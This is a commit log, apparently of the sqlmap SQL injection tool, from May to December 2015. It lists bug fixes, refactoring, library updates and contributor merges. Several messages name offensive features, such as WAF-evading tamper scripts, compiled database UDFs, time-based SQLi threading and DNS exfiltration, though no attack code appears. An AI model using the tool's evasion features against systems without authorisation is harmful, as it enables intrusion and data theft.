Miroslav Stampar b5b3411f16 Fixes #1574 2015-12-06 23:49:22 +01:00
Miroslav Stampar d5e6be41db Fixes #1582 2015-12-06 23:24:09 +01:00
Miroslav Stampar 7517e64417 Minor bug fix (reported via email) 2015-12-05 00:52:58 +01:00
Miroslav Stampar d50c0b7103 Fixes #1581 2015-12-03 12:16:00 +01:00
Miroslav Stampar c6d4217495 Minor update (just in case) 2015-12-03 02:08:59 +01:00
Miroslav Stampar a7c135174c Fixes #1579 2015-12-03 02:00:16 +01:00
Miroslav Stampar 6397704456 Patch for an Issue #1578 2015-12-03 01:43:37 +01:00
Miroslav Stampar 80d3ff6706 Adding hidden switch for disabling socket preconnect (debugging purposes) 2015-12-02 12:05:40 +01:00
Miroslav Stampar a219ff9a92 Fixes #1572 2015-11-29 19:40:14 +01:00
Miroslav Stampar 795777b7c5 Minor patch 2015-11-28 22:44:42 +01:00
Miroslav Stampar 5f2c31f8ec Minor consistency patch 2015-11-28 22:42:25 +01:00
Miroslav Stampar f9da29284c Minor bug fix (reported via email) 2015-11-27 18:35:58 +01:00
Miroslav Stampar c7ec1534a6 Patch related to #1256 2015-11-25 13:04:34 +01:00
Miroslav Stampar a18c69d78b Fixes #1564 2015-11-25 10:21:32 +01:00
Miroslav Stampar 829351421f Minor cosmetics 2015-11-25 10:12:07 +01:00
Miroslav Stampar 5020269f50 Adding extra mark into non-git checkouts 2015-11-24 09:38:28 +01:00
Miroslav Stampar 527dcce08d Better alternative (on Linux getctime() is the time of the last metadata change) 2015-11-24 09:25:11 +01:00
Miroslav Stampar 436d87dee1 Fixes #1560 2015-11-24 09:18:46 +01:00
Miroslav Stampar 6c083956f4 Patch related to the #1557 2015-11-23 09:48:43 +01:00
Miroslav Stampar bdb496eaa5 Fixes #1558 2015-11-23 09:24:30 +01:00
Miroslav Stampar b2dc443835 Fixes #1559 2015-11-23 09:20:35 +01:00
Miroslav Stampar 4d576928a7 Fixes #1554 2015-11-22 16:05:48 +01:00
Miroslav Stampar 376037123b Minor fix 2015-11-22 15:33:00 +01:00
Miroslav Stampar 763b72a3ed Fixes #1551 2015-11-20 17:01:41 +01:00
Miroslav Stampar a5489516eb Fixes #1550 2015-11-20 16:52:59 +01:00
Miroslav Stampar 7fa9c8e938 Patch for an Issue #1546 2015-11-20 11:38:26 +01:00
Miroslav Stampar efe41fbdc7 Fixes #1547 2015-11-20 11:32:54 +01:00
Miroslav Stampar 69bc875eb3 Minor consistency update (with other WAF scripts) for #1543 2015-11-18 09:04:01 +01:00
Miroslav Stampar 378005d438 Merge pull request #1543 from Wyc0/master
enhance recognition of "baiduyun" in waf/baidu.py
2015-11-18 09:01:27 +01:00
Wyc0 2ff4b78dbb enhance recognition of "baiduyun" in waf/baidu.py 2015-11-18 12:31:40 +08:00
Miroslav Stampar 39a7b78737 Minor fix 2015-11-17 09:39:09 +01:00
Miroslav Stampar 19f6eb234b Revert of #58e049a60d250b881af60091215c75daa3f5c01a (I can imagine couple of things that could go wrong) 2015-11-17 08:52:24 +01:00
Miroslav Stampar 58e049a60d More generic approach for number of pre-open sockets (Issue #1540) 2015-11-17 02:45:27 +01:00
Miroslav Stampar fd2908336a Minor just in case patch 2015-11-17 02:35:53 +01:00
Miroslav Stampar 5be0a83e94 Minor patch 2015-11-17 01:38:43 +01:00
Miroslav Stampar 89abeb0244 Patch for 'Exception in thread Thread-1 (most likely raised during interpreter shutdown)' 2015-11-17 01:09:57 +01:00
Miroslav Stampar abb1c6a621 Less intensive loop 2015-11-17 00:12:04 +01:00
Miroslav Stampar 41b8dfab86 Implementation for an Issue #1540 2015-11-16 23:46:10 +01:00
Miroslav Stampar 4335ae8330 Patching previous commit 2015-11-16 16:59:54 +01:00
Miroslav Stampar 94639d11a3 Another update related to the #1539 2015-11-16 15:33:05 +01:00
Miroslav Stampar c1e3431877 Minor patch 2015-11-16 15:32:28 +01:00
Miroslav Stampar 768e5da589 Removing leftover (from 5593bf2fee) 2015-11-16 15:04:09 +01:00
Miroslav Stampar 5593bf2fee Another patch related to #1539 (simplifying unicode bad chars and preventing double encoding of safe chars) 2015-11-16 15:02:30 +01:00
Miroslav Stampar ca933fcf1d Another patch for #1539 2015-11-16 14:08:43 +01:00
Miroslav Stampar a212f0c240 Another patch for #1539 2015-11-16 12:56:15 +01:00
Miroslav Stampar 9c69f56a34 Proper patch for an Issue #1539 2015-11-16 11:59:09 +01:00
Miroslav Stampar fb2cb25afe Bug fix for an Issue #1539 2015-11-16 11:56:15 +01:00
Miroslav Stampar a6ea19067b Merge pull request #1535 from loveshell/patch-1
add Newdefend waf identified
2015-11-15 16:31:40 +01:00
loveshell ee7ea68c15 add Newdefend waf identified 2015-11-15 10:15:05 +08:00
Miroslav Stampar 8d1e1ea474 Patch for an Issue #1532 2015-11-12 16:58:34 +01:00
Miroslav Stampar d772e7e1d5 Fixes #1529 2015-11-11 16:07:11 +01:00
Miroslav Stampar 07b1407345 Patches #1530 2015-11-11 15:55:28 +01:00
Miroslav Stampar bc215d1b19 I believe that this was a wrong decision. Patching 2015-11-09 14:11:08 +01:00
Miroslav Stampar 17350fb4ec Proper fix for #1146 (/ has been escaped with \/ in output) 2015-11-09 14:05:53 +01:00
Miroslav Stampar 22484c8599 Bug fix (-p Host didn't work, while -p host worked) 2015-11-09 13:19:55 +01:00
Miroslav Stampar 42649005c2 Lots of fixes and refactoring in search department 2015-11-08 16:37:46 +01:00
Miroslav Stampar b4526a3d51 Bug fix (usage of socks and http proxies in --proxy-file didn't work together) 2015-11-08 02:20:29 +01:00
Miroslav Stampar 9849f87b61 Minor just in case patch 2015-11-08 00:10:28 +01:00
Miroslav Stampar 193f8190c4 Adding new warning message 2015-11-07 23:30:24 +01:00
Miroslav Stampar b86b7c06e9 Author forgot to update the version 2015-11-07 22:47:55 +01:00
Miroslav Stampar 08054dec7b Newer version of pydes 2015-11-07 22:41:56 +01:00
Miroslav Stampar 78e3e52ab0 Newer version of bs3 2015-11-07 22:39:20 +01:00
Miroslav Stampar 427abbc0e3 New version of bottle 2015-11-07 22:34:13 +01:00
Miroslav Stampar c31e23e514 Patch for an Issue #1516 2015-11-06 11:19:55 +01:00
Miroslav Stampar 5198e4c816 Minor bug fix (based on private user report) 2015-11-04 15:04:38 +01:00
Miroslav Stampar 3451372d4e Fixes #1521 2015-11-04 14:48:40 +01:00
Miroslav Stampar 6adb6eabec Fixes #1517 2015-11-03 14:53:41 +01:00
Miroslav Stampar 064c2a71ed Fixes #1510 2015-11-01 22:56:26 +01:00
Miroslav Stampar bae9db65ab Minor update 2015-10-31 16:33:48 +01:00
Miroslav Stampar 2642e453b5 New tamper script 2015-10-31 16:24:32 +01:00
Miroslav Stampar 537f39edd8 Minor patches for spanish translation (thanks to @lightos) 2015-10-31 10:55:07 +01:00
Miroslav Stampar f0150f8c8c Merge pull request #1500 from tonyskapunk/es-MX
Adding translation for README in Spanish(MX).
2015-10-31 10:50:34 +01:00
Miroslav Stampar 4dc0c05172 Fixes #1505 2015-10-31 10:16:44 +01:00
tonyskapunk d0ea5677de Adding translation for README in Spanish(MX). 2015-10-29 20:30:30 +00:00
Miroslav Stampar 04aaa5985b Fixes #1497 2015-10-29 17:02:47 +01:00
Miroslav Stampar 0b64cf803c Fixes #1496 2015-10-29 16:52:17 +01:00
Miroslav Stampar d41cd53d31 Minor style fix (distinguish form from URL testing when --forms --crawl combo used) 2015-10-28 14:03:21 +01:00
Miroslav Stampar caafa377a6 Fixes #1495 2015-10-28 10:29:12 +01:00
Miroslav Stampar 8fbac5a99e Patch for --proxy-file 2015-10-25 15:58:43 +01:00
Miroslav Stampar 89e36392f7 Fixes #1486 2015-10-25 15:32:02 +01:00
Miroslav Stampar 1b81084106 Fixes #1484 2015-10-23 23:48:41 +02:00
Miroslav Stampar 2c754b57bb Minor patch 2015-10-23 14:29:48 +02:00
Miroslav Stampar 8f9979c302 Patch for an Issue #541 2015-10-22 20:51:05 +02:00
Miroslav Stampar 5fb8ae9d3c Fixes #1479 2015-10-22 19:59:16 +02:00
Miroslav Stampar fbec463b49 Adding new bold patterns 2015-10-22 15:44:08 +02:00
Miroslav Stampar 7c1cff6749 Fixing ancient bug (introduced with #6c80f29) - that removes original value when --prefix used 2015-10-22 15:14:12 +02:00
Miroslav Stampar 90ad914c1e Patch related to the #1477 2015-10-22 14:58:06 +02:00
Miroslav Stampar 5ff59296ef Space after the generic comments has to be "protected" 2015-10-22 14:47:19 +02:00
Miroslav Stampar 8aada250f3 Fixes #1471 2015-10-19 11:08:58 +02:00
Miroslav Stampar 3dc8820caa Fixes #1474 2015-10-19 10:38:38 +02:00
Miroslav Stampar 441196f360 Fixes #1470 2015-10-16 23:59:39 +02:00
Miroslav Stampar d762098cce Leaving a reference just in case 2015-10-15 16:51:53 +02:00
Miroslav Stampar c51de99a25 Minor revert 2015-10-15 16:38:48 +02:00
Miroslav Stampar 20559fd52c Minor patch 2015-10-15 16:01:09 +02:00
Miroslav Stampar f793a26095 Removing ugly duplicating of \ (hidden bugs came - e.g. DNS exfiltration) 2015-10-15 16:00:59 +02:00
Miroslav Stampar 956047b43f Patch for an Issue #1468 2015-10-15 13:07:43 +02:00
Miroslav Stampar 475ca5277a Minor information update regarding #541 2015-10-14 16:11:11 +02:00
Miroslav Stampar e3ae026077 Fixes #1467 2015-10-14 15:19:44 +02:00
Miroslav Stampar 80aca35dd1 Removing #1450 2015-10-13 15:00:59 +02:00
Miroslav Stampar c4df6f3a22 Fixes #1465 2015-10-13 13:31:28 +02:00
Miroslav Stampar 570562369b Further fixes for sqlmap to work properly with HSQLDB (WebGoat) 2015-10-13 13:04:59 +02:00
Miroslav Stampar 48619d9ae1 Fixes #1464 2015-10-12 10:05:49 +02:00
Miroslav Stampar b9a44555ff Fixes #1462 2015-10-11 15:20:10 +02:00
Miroslav Stampar 47a42c234e Fixes #1459 2015-10-10 19:19:50 +02:00
Miroslav Stampar ecef769200 More generic approach (non-: versions appear too) 2015-10-10 15:23:09 +02:00
Miroslav Stampar 786b51e6e4 Minor patch 2015-10-10 15:18:47 +02:00
Miroslav Stampar 17ee402592 Adding error regexes for HSQLDB 2015-10-10 14:53:08 +02:00
Miroslav Stampar 51444276c0 Better dealing with MySQL vs HSQLDB 2015-10-10 14:19:47 +02:00
Miroslav Stampar 9641e84dd9 Bug fixes for HSQLDB 2015-10-09 16:52:13 +02:00
Miroslav Stampar fa4e867035 Bug fix for MySQL fingerprinting (excluding HSQLDB MySQL look-alike) 2015-10-09 14:17:13 +02:00
Miroslav Stampar 41db0e0eea range to xrange (leftovers) 2015-10-09 13:48:21 +02:00
Miroslav Stampar 439d003753 Adding new version of chardet 2015-10-09 13:35:48 +02:00
Miroslav Stampar d424d4cdc7 Fixes #1457 2015-10-09 11:54:28 +02:00
Miroslav Stampar 8bf236ce11 Minor patch for SQLite parsing of schemas 2015-10-07 10:01:48 +02:00
Miroslav Stampar fd686fb691 Patch related to the #1455 2015-10-07 09:43:25 +02:00
Miroslav Stampar eb7c18d1f8 Fixes #1452 2015-10-07 09:25:14 +02:00
Miroslav Stampar 657d71119b Fixes #1453 2015-10-07 09:22:11 +02:00
Miroslav Stampar 78bbf5d63c Fixes #1451 2015-10-06 14:17:35 +02:00
Miroslav Stampar 551b7e4b45 Patch for an Issue #1450 2015-10-06 13:23:01 +02:00
Miroslav Stampar 95ce5a4a09 Fixes #1444 2015-10-05 16:33:10 +02:00
Miroslav Stampar b98f84a610 Fixes #1443 2015-10-05 16:26:12 +02:00
Miroslav Stampar 1258b354c3 Minor refactoring 2015-10-05 16:09:58 +02:00
Miroslav Stampar 20c19f33dc Minor update 2015-10-05 15:51:21 +02:00
Miroslav Stampar 1c6e288eb1 Fixes #1447 2015-10-05 15:33:29 +02:00
Miroslav Stampar acd6b7797f Fixes #1446 2015-10-05 15:18:54 +02:00
Miroslav Stampar 53de0e8949 Implements #1442 2015-10-01 11:57:33 +02:00
Miroslav Stampar 29edb4f75c Fixes #1440 2015-09-30 11:26:56 +02:00
Miroslav Stampar a1a7161fab Fixes #1441 2015-09-30 10:13:19 +02:00
Miroslav Stampar 5ce4d4d2ec Fixes #1439 2015-09-29 10:10:39 +02:00
Miroslav Stampar 906cb6d3c2 Removing a hard limit to use --start/--stop only for --dump scenarios 2015-09-28 11:11:39 +02:00
Miroslav Stampar ac467bc453 Fixes #1437 2015-09-28 09:54:41 +02:00
Miroslav Stampar 1fd6b007ab Less critical messages when something goes wrong with connection 2015-09-27 16:36:20 +02:00
Miroslav Stampar ef22f31fdf Fixes #1433 2015-09-27 16:17:58 +02:00
Miroslav Stampar 5bade7947b Fixes #1435 2015-09-27 16:09:02 +02:00
Miroslav Stampar 5ed106ecea Patch for an Issue #1434 2015-09-27 15:59:17 +02:00
Miroslav Stampar 38541b021a Implementing hidden switch '--force-threads' on request (to force multi-threading in time-based SQLi) 2015-09-26 00:09:17 +02:00
Miroslav Stampar b68891050d Better word used 2015-09-25 23:41:47 +02:00
Miroslav Stampar f16389232f Bug fix for --proxy-file (only first element was fetched in case of fail) 2015-09-25 15:23:42 +02:00
Miroslav Stampar 4774795d8c Fixes #1429 2015-09-25 14:59:21 +02:00
Miroslav Stampar d28c72b6f1 Another fix for Python 2.6 (bug introduced with ff7be9d0eb) 2015-09-24 16:26:52 +02:00
Miroslav Stampar ea4cef9c6d Skipping quit exception in case of --search 2015-09-24 13:44:51 +02:00
Miroslav Stampar e19b097ab5 Bug fix (--columns has been broken for last couple of days) 2015-09-24 11:49:05 +02:00
Miroslav Stampar 12b9939baa Minor refactoring 2015-09-24 10:24:37 +02:00
Miroslav Stampar 29bdcf0e65 Fixes #1425 2015-09-23 15:31:25 +02:00
Miroslav Stampar aa088aafd2 Looks more technical 2015-09-23 08:47:52 +02:00
Miroslav Stampar 158ae501c1 Bug fix for tamper script equaltolike (has been doing problems when used with MsSQL) 2015-09-22 14:32:52 +02:00
Miroslav Stampar 058f63a050 Patch for annoying retrieval of columns during dump (if -C used) 2015-09-22 12:33:11 +02:00
Miroslav Stampar 03da24b249 Minor cosmetics 2015-09-22 12:03:47 +02:00
Miroslav Stampar 74294ae105 Bug fix for --common-tables in case of MsSQL/Sybase (safeSQLIdentificatorNaming already used) 2015-09-22 11:28:56 +02:00
Miroslav Stampar 0e22a0ca5f Minor cosmetics 2015-09-21 16:41:54 +02:00
Miroslav Stampar 81caf14b6d Adding switch --skip-waf 2015-09-21 14:57:44 +02:00
Miroslav Stampar e81e474646 Minor adjustment 2015-09-21 14:46:34 +02:00
Miroslav Stampar 56f0b811a6 Minor patch 2015-09-21 13:23:56 +02:00
Miroslav Stampar 3fca379f29 Minor patch (avoiding message 'can't establish SSL connection' in --check-tor) 2015-09-21 11:25:59 +02:00
Miroslav Stampar f96edc951c Patches #1419 2015-09-21 11:02:56 +02:00
Miroslav Stampar 27707be467 Fixes #1416 2015-09-17 17:09:36 +02:00
Miroslav Stampar aa2112b360 Update for #1414 2015-09-17 16:18:58 +02:00
Miroslav Stampar 7cfa90830d Merge pull request #1414 from daremon/api-client-2
Added commands stop, kill, list to API client
2015-09-17 15:51:12 +02:00
Miroslav Stampar 65a8f0fe32 Minor enhancement 2015-09-17 15:25:40 +02:00
Miroslav Stampar 2cea977e12 Fixes #1415 2015-09-17 14:58:01 +02:00
daremon c2fb2161d3 Added flush command 2015-09-16 00:15:16 +03:00
daremon ff7be9d0eb Fixed list command 2015-09-16 00:01:57 +03:00
Miroslav Stampar c59ead36ce Patch for Python 2.6 (SyntaxError) 2015-09-15 17:23:59 +02:00
Miroslav Stampar 058870635b Update for an #1414 2015-09-15 14:37:30 +02:00
Miroslav Stampar ee38574449 Fixes #1411 2015-09-15 13:26:25 +02:00
Miroslav Stampar 5de1825d0c Fixes #1412 2015-09-15 10:48:23 +02:00
daremon 1417decdf1 Added commands stop, kill, list to API client 2015-09-14 17:31:02 +03:00
Miroslav Stampar 5ce3306114 Adding new tamper script (Issue #1247) 2015-09-13 14:47:27 +02:00
Miroslav Stampar f89ce2173f Fixes #1404 2015-09-12 15:13:30 +02:00
Miroslav Stampar c4f9e66a6f Patch related to the #1403 2015-09-10 16:21:31 +02:00
Miroslav Stampar c05c0ff435 Minor patch with imports 2015-09-10 15:55:49 +02:00
Miroslav Stampar f494004f44 Switching to the getSafeExString (where it can be used) 2015-09-10 15:51:33 +02:00
Miroslav Stampar 7a261ef447 Just in case commit related to the aee4c93c8b 2015-09-10 15:19:33 +02:00
Miroslav Stampar 00955a7eb5 Miniscule commit 2015-09-10 15:19:09 +02:00
Miroslav Stampar 5172999b00 Updating the doc/THANKS (#1402) 2015-09-10 15:09:24 +02:00
Miroslav Stampar b06a34ab1a Another update for #1402 2015-09-10 15:06:07 +02:00
Miroslav Stampar 2453b02b63 Update for #1402 2015-09-10 15:01:30 +02:00
Miroslav Stampar b3fdbe24c2 Merge pull request #1402 from daremon/api-client
Minimal API client
2015-09-10 12:03:25 +02:00
Miroslav Stampar 263665637e Minor bug fix 2015-09-10 11:34:03 +02:00
daremon a29a3a4e5c Minimal API client 2015-09-09 16:14:04 +03:00
Miroslav Stampar 72cf9041bf Fixes #1401 2015-09-09 14:46:06 +02:00
Miroslav Stampar 90329a8b01 Minor patch 2015-09-09 11:53:44 +02:00
Miroslav Stampar b6206692e0 Fixes #1392 2015-09-08 11:53:29 +02:00
Miroslav Stampar c1f829d131 Removing last remnants of bad handling the exceptions as strings 2015-09-08 11:15:31 +02:00
Miroslav Stampar e59a220199 Fixes #1393 2015-09-08 11:10:47 +02:00
Miroslav Stampar 924e31c414 Fixes #1394 2015-09-08 11:04:36 +02:00
Miroslav Stampar 28a60f5be2 Fixes #1391 2015-09-06 20:22:07 +02:00
Miroslav Stampar aee4c93c8b Fixes #1384 2015-09-03 10:32:45 +02:00
Miroslav Stampar d06646e412 Miniscule change 2015-09-03 10:32:22 +02:00
Miroslav Stampar 51a4cb04a5 Another minor language patch 2015-09-03 10:26:46 +02:00
Miroslav Stampar 41c21ab7f2 Minor consistency patch 2015-09-03 10:19:59 +02:00
Miroslav Stampar 69563fc24f Language fix 2015-09-03 10:18:00 +02:00
Miroslav Stampar 7511023bc2 Fixes #1385 2015-09-03 10:11:36 +02:00
Miroslav Stampar fb5a75c9ad Removing leftover 2015-08-31 14:50:51 +02:00
Miroslav Stampar 401564898d Adding support for 'empty' POST body (if forced by --method) 2015-08-31 14:43:41 +02:00
Miroslav Stampar 265a78b455 Fixes #1379 2015-08-31 14:27:47 +02:00
Miroslav Stampar d70215ad6c Fixes #1237 2015-08-31 10:24:05 +02:00
Miroslav Stampar d2a9c7584f Minor patch 2015-08-31 09:51:35 +02:00
Miroslav Stampar 50d39d0252 Closes #1372 2015-08-30 23:15:50 +02:00
Miroslav Stampar 89292ce1f9 Closes #1376 2015-08-30 22:52:24 +02:00
Miroslav Stampar 6a01d2e430 Fixes #1366 2015-08-30 02:13:07 +02:00
Miroslav Stampar 737a37bfda Fixes #1367 2015-08-30 01:58:43 +02:00
Miroslav Stampar 06c8704179 Fixes #1365 2015-08-28 15:30:28 +02:00
Miroslav Stampar ee22c477db Minor patch for #1363 2015-08-28 10:59:12 +02:00
Miroslav Stampar 61b33f24d4 Implements #1363 2015-08-28 10:52:36 +02:00
Miroslav Stampar 43f3900ffe Fixes #1362 2015-08-27 12:25:25 +02:00
Miroslav Stampar 1cf012521d Minor refactoring 2015-08-26 16:18:03 +02:00
Miroslav Stampar a33b0454cd Implementation for an Issue #1360 2015-08-26 15:26:16 +02:00
Miroslav Stampar 2c2f83f67b Minor code consistency patch 2015-08-26 11:30:48 +02:00
Miroslav Stampar 1f5e6606a7 Fixes #1357 2015-08-25 02:03:56 +02:00
Miroslav Stampar 76c8ce0e70 More flexible --sql-file 2015-08-23 22:54:08 +02:00
Miroslav Stampar 337eb9861a Fixes #1347 2015-08-23 22:11:59 +02:00
Miroslav Stampar 690347a170 Bug fix (non-ASCII chars in command line caused gibberish in unhandled messages) 2015-08-23 21:48:31 +02:00
Miroslav Stampar 9fb0eb3dd7 Blank removal 2015-08-23 21:41:59 +02:00
Miroslav Stampar 1204141278 Fixes #1350 2015-08-23 21:09:20 +02:00
Miroslav Stampar fef8f20565 Minor reporting patch 2015-08-23 20:27:14 +02:00
Miroslav Stampar b8f2c2bf8e Merge pull request #1351 from KxCode/patch-1
fix removeDynamicContent bug
2015-08-23 20:13:39 +02:00
KingX 3ebb3e6f4f fix removeDynamicContent bug
double re.escape() in "findDynamicContent" function and "removeDynamicContent" function leads an bug in finding dynamic content,
2015-08-22 14:05:03 +08:00
Miroslav Stampar f609158d1b Adding new error message (when short options carry illegal '=') 2015-08-19 21:00:16 +02:00
Miroslav Stampar 383316fcb3 Fixing issues caused by 9ad1d122f4 (better approach) 2015-08-18 22:48:55 +02:00
Miroslav Stampar 8806ce72c1 Patch for an Issue #1341 2015-08-18 22:03:42 +02:00
Miroslav Stampar 54d65328bc Patch for negative logic (e.g. OR) cases (reported privately) 2015-08-18 03:09:01 +02:00
Miroslav Stampar 023def3203 Fixes #1336 2015-08-16 23:47:11 +02:00
Miroslav Stampar c9d1c4d7b1 Fixes #1337 2015-08-16 23:29:39 +02:00
Miroslav Stampar 713d5384bc Potential patch for an Issue #1337 2015-08-16 23:15:04 +02:00
Miroslav Stampar 310d79b8f1 Adding special variable 'lastPage' to the eval code (by request from ML) 2015-08-14 23:29:31 +02:00
Miroslav Stampar b010fda695 Switch --save becomes an option (taking file path where to save config file) 2015-08-14 22:49:32 +02:00
Miroslav Stampar f83de446f7 Merge pull request #1330 from flsf/master
Minor change
2015-08-14 22:38:02 +02:00
flsf 9adefb3ffd Minor change 2015-08-14 16:18:51 +08:00
Miroslav Stampar 2c1cde0f59 Minor fix (reported over ML - ignore saving of conf.saveCmdline) 2015-08-13 17:21:36 +02:00
Miroslav Stampar 8ea8b168b1 Minor cosmetics 2015-08-13 17:10:35 +02:00
Miroslav Stampar 9ad1d122f4 Minor patch (Issue #1327) 2015-08-12 22:09:31 +02:00
Miroslav Stampar e5863d8b89 Minor patch 2015-08-12 21:43:13 +02:00
Miroslav Stampar 236b774f9a Merge pull request #1328 from jerrypy/master
fixed open pipe and zoombie problems
2015-08-12 21:26:02 +02:00
Jiang Jie 1ac27e9305 fixed pipe and zoombie problems
1.we don't need stdin here, and it'll cause OSError: too many openfiles problem.
2. after using /scan/taskid/stop , process turned into a zoombie, need add wait()
2015-08-12 16:25:33 +08:00
Miroslav Stampar 62f35698ee Bug fix (ML) - when cookies have blank expiration time 2015-08-06 13:07:16 +02:00
Miroslav Stampar ce64d9797e Fixes #1322 2015-08-04 11:10:15 +02:00
Miroslav Stampar 971f59a27e Minor update 2015-08-04 10:28:43 +02:00
Miroslav Stampar c5f3c0cc32 Fixes #1324 2015-08-03 17:21:35 +02:00
Miroslav Stampar e623ee66ad Better approach for #1320 2015-07-30 23:29:31 +02:00
Miroslav Stampar bcb25823e6 Fixes #1320 2015-07-30 23:19:38 +02:00
Miroslav Stampar 301aca57e6 Fixes #1319 2015-07-29 10:00:15 +02:00
Miroslav Stampar ba86153d29 Fixes #1318 2015-07-28 09:33:40 +02:00
Miroslav Stampar 401905b2dd Minor improvement to UNION file write 2015-07-26 17:02:46 +02:00
Miroslav Stampar 64b45f2ac2 Fixes #1316 2015-07-26 16:34:11 +02:00
Miroslav Stampar e3553ae893 Missing import 2015-07-26 16:19:44 +02:00
Miroslav Stampar b0bc3149f9 Fixes #1315 2015-07-26 16:18:41 +02:00
Miroslav Stampar e7af081447 Minor patch 2015-07-26 16:08:30 +02:00
Miroslav Stampar 314df093f1 Fixes #1314 2015-07-26 16:06:01 +02:00
Miroslav Stampar ff6b62adf3 Important additional patch for #1170 (for PgSQL >= 9.0) 2015-07-24 15:15:41 +02:00
Miroslav Stampar b6ea2fdb07 Fixes #1170 2015-07-24 14:56:45 +02:00
Miroslav Stampar 8df3d7a6fa Minor enhancement for beep 2015-07-24 12:11:12 +02:00
Miroslav Stampar a905b8d8f5 Fixes #1312 2015-07-23 10:07:21 +02:00
Miroslav Stampar 58002c5057 Minor cosmetics 2015-07-23 09:55:59 +02:00
Miroslav Stampar cece2cb12d Minor cosmetics 2015-07-23 00:42:29 +02:00
Miroslav Stampar 358651b19c Fixes #1313 2015-07-23 00:41:03 +02:00
Miroslav Stampar 75ed5f767c Fixes #1309 2015-07-20 17:03:20 +02:00
Miroslav Stampar 2afb5687f6 Fixes #1307 2015-07-20 15:47:27 +02:00
Miroslav Stampar 21e8182ac6 Fixes #1305 2015-07-18 17:01:34 +02:00
Miroslav Stampar a7c4400cc9 Fixes #1304 2015-07-17 14:20:51 +02:00
Miroslav Stampar 00f190fc92 Fixes #1303 2015-07-17 10:14:35 +02:00
Miroslav Stampar 49212ec920 Fixes #1302 2015-07-17 09:56:24 +02:00
Miroslav Stampar 1aafe85a3a Fixes #1299 2015-07-15 11:15:06 +02:00
Miroslav Stampar fdc8e664df Updating --beep functionality (ML request) 2015-07-13 23:55:46 +02:00
Miroslav Stampar 16f8e4c8ba Removing unused imports 2015-07-12 12:25:02 +02:00
Miroslav Stampar ffd9498827 Bug fix 2015-07-12 12:24:06 +02:00
Miroslav Stampar 4800ea7311 Bug fix 2015-07-12 12:17:26 +02:00
Miroslav Stampar a20da7a677 Patch for automatic reporting (GitHub has robots) 2015-07-12 12:05:19 +02:00
Miroslav Stampar fa303ef8b1 Minor update 2015-07-10 16:39:18 +02:00
Miroslav Stampar 10f8c6a0b6 Introducing --offline switch (to perform session only lookups) 2015-07-10 16:10:24 +02:00
Miroslav Stampar 9bdbdc136f Minor cosmetics update 2015-07-10 11:33:12 +02:00
Miroslav Stampar 0ba264bfa0 Minor patch 2015-07-10 09:51:11 +02:00
Miroslav Stampar 4baaa4a5ad Minor improvement 2015-07-10 09:24:14 +02:00
Miroslav Stampar 9ff115ce71 Minor patch 2015-07-10 01:33:53 +02:00
Miroslav Stampar 02470ea683 Further decreasing number of testing payloads 2015-07-10 01:19:46 +02:00
Miroslav Stampar 48b627f3ff Prevent double tests (e.g. in same final tests where suffix is cut by the comment) 2015-07-10 00:54:02 +02:00
Miroslav Stampar ca2f63c672 Test speed up in case of boolean based blind 2015-07-10 00:37:59 +02:00
Miroslav Stampar 3a5cc98976 -Z is/are a pseudo-option (just like -H) expanded during the run 2015-07-07 09:27:18 +02:00
Miroslav Stampar 2080fcaa37 Fixes #1293 2015-07-07 09:24:16 +02:00
Miroslav Stampar f488377001 Fixes #1293 2015-07-07 08:47:07 +02:00
Miroslav Stampar 6a1b3895f9 Patch for an Issue #1285 2015-07-06 11:50:59 +02:00
Miroslav Stampar 96327b6701 Fixes #1290 2015-07-05 01:47:01 +02:00
Miroslav Stampar 166dc98e81 Minor patch 2015-07-05 00:03:29 +02:00
Miroslav Stampar 1f71d809d4 Fixes #1288 2015-07-03 08:55:33 +02:00
Miroslav Stampar 7b95a2d80d Patch for an Issue #1280 2015-06-29 10:05:16 +02:00
Miroslav Stampar 8b63ee9bc3 Minor update for #1281 2015-06-29 01:12:14 +02:00
Miroslav Stampar 97244f5e5e Fixes #1279 2015-06-29 00:20:35 +02:00
Miroslav Stampar b212321c07 Fixes #1278 2015-06-26 10:30:53 +02:00
Miroslav Stampar b02be9674f Fixes #1277 2015-06-26 10:11:34 +02:00
Miroslav Stampar 7d418af274 Fix for a bug reported privately by email 2015-06-22 16:28:35 +02:00
Miroslav Stampar 9e5ef094a3 Closes #1270 2015-06-16 22:20:21 +02:00
Miroslav Stampar e4b23c9beb Minor fix regarding POST redirects (ML) 2015-06-16 12:00:56 +02:00
Miroslav Stampar 04c1d439a7 Minor patch for #1260 2015-06-05 17:18:21 +02:00
Miroslav Stampar 8d7e915af7 Minor patch for #1260 2015-06-05 17:02:56 +02:00
Miroslav Stampar ebc2a729c9 Adding compiled UDFs for PostgreSQL 32-bit (9.2, 9.3 and 9.4) 2015-06-05 16:24:28 +02:00
Miroslav Stampar 419c55898b Adding compiled UDFs for PostgreSQL 64-bit (9.1, 9.2, 9.3 and 9.4) 2015-06-05 15:23:39 +02:00
Miroslav Stampar 87b5262ef7 Minor patch 2015-06-01 14:18:21 +02:00
Miroslav Stampar 515ba5fb31 Minor patch for an Issue #1252 2015-06-01 11:13:02 +02:00
Miroslav Stampar ec87d8ebda Adding a support for SNI (Issue #1256) 2015-06-01 10:45:16 +02:00
Miroslav Stampar 341d2a6028 Minor fix for (hidden) switch '--dummy' 2015-05-29 17:30:02 +02:00
Miroslav Stampar 08caca387b Minor patch of automatic WAF heuristic check 2015-05-29 16:01:41 +02:00
Miroslav Stampar c62b0f7e68 New tamper script 2015-05-28 23:49:44 +02:00
Miroslav Stampar 699c965bc0 Fixes #1248 2015-05-19 18:40:45 +02:00
Miroslav Stampar 17bfda1b9c Adding new switch ('--skip-static') 2015-05-18 20:57:15 +02:00
Miroslav Stampar e8f87bfa41 Minor patches related to the #1206 2015-05-11 11:01:21 +02:00
Miroslav Stampar 91bc02e3ba Fixes related to the #1206 2015-05-11 10:56:10 +02:00
Miroslav Stampar c8aac19f75 Merge branch 'RicterZ-master' 2015-05-11 10:11:43 +02:00
Miroslav Stampar 9010e157e9 Conflict fix 2015-05-11 10:11:33 +02:00
Miroslav Stampar 5b8df7984c Minor update (for Windows-31j charset) 2015-05-09 14:32:55 +02:00
Miroslav Stampar 4b2ff4339a Fixes #1243 2015-05-07 12:36:23 +02:00
Miroslav Stampar 18e62fd507 Fix for an Issue #1240 2015-05-05 14:36:21 +02:00
Miroslav Stampar 84ba3d45c1 Patch for an Issue #1238 2015-05-04 21:47:10 +02:00
Miroslav Stampar 5ee7fd785a Fixes #1235 2015-05-01 00:48:08 +02:00
